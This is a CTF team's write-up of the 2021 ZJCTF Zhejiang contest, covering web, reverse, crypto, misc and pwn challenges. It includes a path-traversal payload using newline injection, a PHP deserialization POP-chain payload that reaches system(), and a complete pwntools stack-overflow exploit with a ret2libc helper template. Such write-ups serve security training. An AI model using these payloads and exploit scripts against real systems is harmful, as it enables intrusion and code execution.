【WP】2021 ZJCTF 浙江省赛部分赛题 WriteUp

一、战队信息

  • 名称:我的方便面没有调料包
  • 排名:22(20)

二、解题情况

共解出8道

QQ图片20211030181259

QQ图片20211030180911

三、解题过程

Web

远古特性

使用%0a换行,再读取根目录文件

exp:

file=hint/hint.txt%0a../../../../../../flag

Safepop

pop链:B->A->FUN->TEST

将Fun类中将$func用system,调用call_user_func这样就可以调用system

之后让call_usr_func的第二个参数$f赋值为Test::getFlag,直接调用Test类中的getFlag方法。

需要主语,Fun中的__wakeup方法绕过可以让属性量增加来绕过:O:3:"Fun":1:->O:3:"Fun":2:

<?php


class Fun{
   private $func = 'system';
   // public function __call($f,$p){
   //     call_user_func($this->func,$f,$p);
   // }
   // public function __wakeup(){
   //     $this->func = '';
   //     die("Don't serialize me");
   // }
}


class Test{
   // public function getFlag(){
   //     system("cat /flag?");
   // }
   // public function __call($f,$p){
   //     phpinfo();
   // }
   // public function __wakeup(){
   //     echo "serialize me?";
   // }
}


class A{
   public $a;
   public function __construct($w){
       $this->a = $w;
   }
}


class B{
   public $p;
   public function __construct($w){
       $this->a = $w;
       $this->p = "Test::getFlag";
   }
}


$t = new Test();
$fun = new Fun($t);
$a = new A($fun);
$b = new B($a);
$b =  (serialize($b));
echo $b."\n";


$x = 'O:1:"B":2:{s:1:"p";s:13:"Test::getFlag";s:1:"a";O:1:"A":1:{s:1:"a";O:3:"Fun":2:{s:9:"Funfunc";s:6:"system";}}}';
$x = urlencode($x);
echo $x."\n";

exp:

pop=O%3A1%3A%22B%22%3A2%3A%7Bs%3A1%3A%22p%22%3Bs%3A13%3A%22Test%3A%3AgetFlag%22%3Bs%3A1%3A%22a%22%3BO%3A1%3A%22A%22%3A1%3A%7Bs%3A1%3A%22a%22%3BO%3A3%3A%22Fun%22%3A1%3A%7Bs%3A9%3A%22%00Fun%00func%22%3Bs%3A6%3A%22system%22%3B%7D%7D%7D

RE

最简单的逆向

一个简单的移位密码

exp

str = [118, 115, 133, 117, 134, 120, 173, 107, 151, 104, 
152, 103, 100, 100,  98, 151, 104, 152, 107, 107, 
150, 103,  98, 105, 149, 150, 101, 150, 106, 105, 
105, 101, 102, 151, 104, 152, 106, 149, 104, 175]


for i in str:
  print(chr(i-50),end="")

image-20211030181027950

crypto

decode_and_decode

就是base64和base32轮换加密,多重解密后即可得到flag

exp

import base64
txt = 
"..........
SSVJMR1dOS1RLSVlXUVZDV0taWUZFVkJRSkpDRkUyMldLNUtUQU9LTUtGVlhBVktSR0ZGRklWQ1ZPUkxWSVJMRUxKS1dXNUNQS1JWV1lXU1NJWkhGTVVKUkpKRVZNVkMyS0pJRklNQlpLQklUMlBJPQ=="
txt1 = base64.b64decode(txt).decode()
txt2 = base64.b32decode(txt1).decode()
txt3 = base64.b64decode(txt2).decode()
txt4 = base64.b32decode(txt3).decode()
txt5 = base64.b64decode(txt4).decode()
txt6 = base64.b32decode(txt5).decode()
txt7 = base64.b64decode(txt6).decode()
txt8 = base64.b32decode(txt7).decode()
txt9 = base64.b64decode(txt8).decode()
txt10 = base64.b32decode(txt9).decode()
txt11 = base64.b64decode(txt10).decode()
txt12 = base64.b32decode(txt11).decode()
txt13 = base64.b64decode(txt12).decode()
txt14 = base64.b32decode(txt13).decode()
txt15 = base64.b64decode(txt14).decode()
txt16 = base64.b32decode(txt15).decode()
txt17 = base64.b64decode(txt16).decode()
txt18 = base64.b32decode(txt17).decode()
txt19 = base64.b64decode(txt18).decode()
txt20 = base64.b32decode(txt19).decode()
txt21 = base64.b64decode(txt20).decode()
txt22 = base64.b32decode(txt21).decode()

print(txt22)

dssssa1

首先是一个DSA数字签名,然后是一个简单的RSA

exp

from Crypto.PublicKey import DSA
from hashlib import sha1
import gmpy2
import binascii

str1 = "94515040220263097875872541668071470619435707358211716562219917331797767488022053087267566586709944785329708571559126640339609375166385904147189950035630910404534642622114804635856314928438531544553236458244225698694846607333226704467932079712515971615643868209281460429629880920550469170449935295454629293399,1001535514136994695529636128311212301250326767869,89288700225171676599759774184146798321191748739703246395529001979988401303800066044674449834184095667747898974375431700503800142840899194492182057885675147681600217979466719692984863330298347742657472936559041930489702116255999412448996714923112824244267910808782794442895518685864174817501040060680962447941,93887528695360292524813814240190328732283663255426806128197957720674496260060703595933676082882204724501085633424942582304707395449222043328895852812543576418567716781870179606049899540449729036771290550645770978667075821043797569255787271932556218014920373462882329802597672026806552417735660553144344650642,775593521305134275967472254218401264703166138817,75084117510316201869105133948164969652170742276,599417004454208825884865529281453774324093134827,94203926294365722030261882520165826558476099177297861176153811285238289485953276649563642144753132730431066372867407177248194182778827143183520415437355921352580608448713381897280433120409711633310458263502217605470824497215111936036532237050330222480782799188409969149722885261258984444311562364318406725475829089368796269160936194172040318140462371217663,208672457767877303895327222020982963931779123819"
s1 = str1.split(",")
# print(s1)
# print(len(s1))
p, q, g, y, h, r, s, c, k = s1[0],s1[1],s1[2],s1[3],s1[4],s1[5],s1[6],s1[7],s1[8]




tmp = gmpy2.mul(int(k), int(s)) - int(h)
x = tmp * gmpy2.invert(int(r), int(q))
x = gmpy2.f_mod(x, int(q))
print (int(x))




x = 839660018344701606864423960006344798739021878855
q = int(q)
p = int(p)
c = int(c)
n=p*q
phi=(p-1)*(q-1)
d=gmpy2.invert(x,phi)
m=pow(c,d,n)
print(hex(m))
print(binascii.unhexlify(hex(m)[2:].strip("L")))

image-20211030155036585

Misc

site_log

找到所有对应的chr字符进行转义,得到所有在攻击中测试的指令

发现加密密码

使用kali的unzip指令成功解压得到flag

asoul_lover

用winrar解压,密码:向晚0612

bandzip不行

pwn

sai_easy

简单的栈溢出,strcat函数会让a和b连接,在b中覆盖ret_addr到system("cat flag")即可

exp:

#!/usr/bin/python
# -*- coding: UTF-8 -*-
# -----------------------------------
# @File    :  exp.py
# @Author  :  woodwhale
# @Time    :  2021/10/30 08:42:19
# -----------------------------------


from pwn import *
from LibcSearcher import *
import sys, subprocess, warnings, os


def ret2libc(addr,func,binary=null):
    libc         = LibcSearcher(func,addr)               if binary == null else binary
    libc.address = addr - libc.dump(func)                if binary == null else addr-libc.sym[func]
    system       = libc.address+libc.dump('system')      if binary == null else libc.sym['system']
    binsh        = libc.address+libc.dump('str_bin_sh')  if binary == null else next(libc.search(b'/bin/sh'))
    leak('libc_base',libc.address)
    leak('system',system)
    leak('binsh',binsh)
    return(system,binsh)


def hack(pwn):
    global io,binary,libc
    times = 0
    while True:
        try:
            times += 1
            clear()
            info(f'time --> {times}')
            pwn()
        except:
            io.close()
            io = getprocess()


def init(binary):
    global arglen, elf, path , libc, context, io
    arglen = len(sys.argv)
    warnings.filterwarnings('ignore')
    context.terminal = ['gnome-terminal','-x', 'bash','-c']
    os.system(f'chmod +x {sys.argv[0]}')
    os.system(f'chmod +x {binary}')
    elf = ELF(binary)
    path = libcpath(binary)
    libc = ELF(path)
    libc.path = path
    context.arch = elfbit(binary)
    io = getprocess()


s           =       lambda data                       : io.send(data)
sa          =       lambda rv,data                    : io.sendafter(rv,data)
sl          =       lambda data                       : io.sendline(data)
sla         =       lambda rv,data                    : io.sendlineafter(rv,data)
r           =       lambda num                        : io.recv(num)
rl          =       lambda keepends=True              : io.recvline(keepends)
ru          =       lambda data,drop=True,time=null   : io.recvuntil(data,drop) if time == null else io.recvuntil(data,drop,time)
ia          =       lambda                            : io.interactive()
l32         =       lambda                            : u32(ru(b'\xf7',False)[-4:].ljust(4,b'\x00'))
l64         =       lambda                            : u64(ru(b'\x7f',False)[-6:].ljust(8,b'\x00'))
uu32        =       lambda data                       : u32(data.ljust(4,b'\x00'))
uu64        =       lambda data                       : u64(data.ljust(8,b'\x00'))
i16         =       lambda data                       : int(data,16)
leak        =       lambda name,addr                  : log.success('\033[33m{}\033[0m = \033[31m{:#x}\033[0m'.format(name, addr))
info        =       lambda data                       : log.info(f'\033[36m{data}\033[0m')
pau         =       lambda                            : pause() if DEBUG else null
dbg         =       lambda point=null                 : (gdb.attach(io) if point == null else gdb.attach(io,f'{point}')) if DEBUG else null
og          =       lambda path=null                  : list(map(int,subprocess.check_output(['one_gadget','--raw','-f',libc.path]).decode().strip('\n').split(' '))) if path == null else list(map(int,subprocess.check_output(['one_gadget','--raw','-f',path]).decode().strip('\n').split(' ')))
rg          =       lambda binary,only,grep           : i16(subprocess.check_output([f"ROPgadget --binary {binary} --only '{only}' | grep {grep}"],shell=True).decode().split(' ')[0])
setlibc     =       lambda leak,func                  : leak - libc.sym[func]
elfbit      =       lambda binary                     : 'i386' if subprocess.check_output(['file',binary]).decode().split(' ')[2] == '32-bit' else 'amd64'
libcpath    =       lambda binary                     : subprocess.check_output(['ldd',binary]).decode().replace('	', '').split('\n')[1].split(' ')[2] if GLIBC else subprocess.check_output(['ls | grep libc*.so'],shell=True).decode().strip('\n').split('\n')[0]
proce       =       lambda binary,libc=null           : process(binary) if GLIBC else process(binary,env={'LD_PRELOAD':'./'+libc})
getprocess  =       lambda                            : proce(binary,path) if arglen == 1 else (remote(sys.argv[1].split(':')[0],sys.argv[1].split(':')[1]) if arglen == 2 else remote(sys.argv[1],sys.argv[2]))
clear       =       lambda                            : os.system('clear')


# context.log_level='debug'
DEBUG  = 1
GLIBC  = 1
binary = './sai_easy_pwn'
init(binary)




# 0x40098E 
sa("input you username:",b"b"*0x30)
# dbg()
payload = b"c"*0x18+p64(0x40098E)
sa("input you password",payload)


ia()